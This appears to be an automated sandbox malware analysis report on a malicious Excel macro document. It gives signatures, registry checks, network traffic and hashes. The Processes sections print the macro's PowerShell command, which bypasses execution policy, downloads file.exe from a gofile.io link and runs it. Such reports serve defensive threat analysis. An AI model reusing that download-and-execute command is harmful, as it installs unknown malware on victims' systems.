Malware Analysis Report

2025-03-15 07:55

Sample ID 240805-1jj4ysyhrl
Target dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4
SHA256 dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4
Tags
macro macro_on_action discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4

Threat Level: Known bad

The file dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery execution

Process spawned unexpected child process

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Office macro that triggers on suspicious action

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of FindShellTrayWindow

Checks processor information in registry

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-05 21:40

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-05 21:40

Reported

2024-08-05 21:41

Platform

win7-20240704-en

Max time kernel

24s

Max time network

19s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4.xls

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"

Network

N/A

Files

memory/2712-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2712-1-0x0000000071E6D000-0x0000000071E78000-memory.dmp

memory/2712-2-0x0000000000510000-0x0000000000610000-memory.dmp

memory/2712-3-0x0000000000510000-0x0000000000610000-memory.dmp

memory/2712-4-0x0000000000510000-0x0000000000610000-memory.dmp

memory/2712-7-0x0000000071E6D000-0x0000000071E78000-memory.dmp

memory/2712-8-0x0000000000510000-0x0000000000610000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-05 21:40

Reported

2024-08-05 21:41

Platform

win10v2004-20240802-en

Max time kernel

46s

Max time network

45s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4.xls"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 gofile.io udp
FR 45.112.123.126:443 gofile.io tcp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 126.123.112.45.in-addr.arpa udp
US 8.8.8.8:53 104.246.116.51.in-addr.arpa udp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 147.142.123.92.in-addr.arpa udp

Files

memory/4324-2-0x00007FF82ED10000-0x00007FF82ED20000-memory.dmp

memory/4324-3-0x00007FF82ED10000-0x00007FF82ED20000-memory.dmp

memory/4324-4-0x00007FF86ED2D000-0x00007FF86ED2E000-memory.dmp

memory/4324-5-0x00007FF82ED10000-0x00007FF82ED20000-memory.dmp

memory/4324-0-0x00007FF82ED10000-0x00007FF82ED20000-memory.dmp

memory/4324-1-0x00007FF82ED10000-0x00007FF82ED20000-memory.dmp

memory/4324-7-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp

memory/4324-12-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp

memory/4324-11-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp

memory/4324-13-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp

memory/4324-14-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp

memory/4324-15-0x00007FF82C5D0000-0x00007FF82C5E0000-memory.dmp

memory/4324-16-0x00007FF82C5D0000-0x00007FF82C5E0000-memory.dmp

memory/4324-10-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp

memory/4324-18-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp

memory/4324-17-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp

memory/4324-9-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp

memory/4324-8-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp

memory/4324-6-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp

memory/4324-27-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5s4hciuy.1de.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1808-36-0x000002DC11DC0000-0x000002DC11DE2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\file.exe

MD5 2c90c89565e8b97ff3357046451f6ad2
SHA1 a4d804006898694914846598e87d1da86c0ab2af
SHA256 cca2b803b3a9607ca273bd358daa7679d028e4cee40030677b2ee9905222f9cd
SHA512 742e6a7c01710b6133f6dcafad5b6c6ef2c31799f37ab353631f07695fdd2542daf9fc6ba9798bc795825d1a4f976296c504d19d74602f2aac481d988d8a1bba

memory/4324-56-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp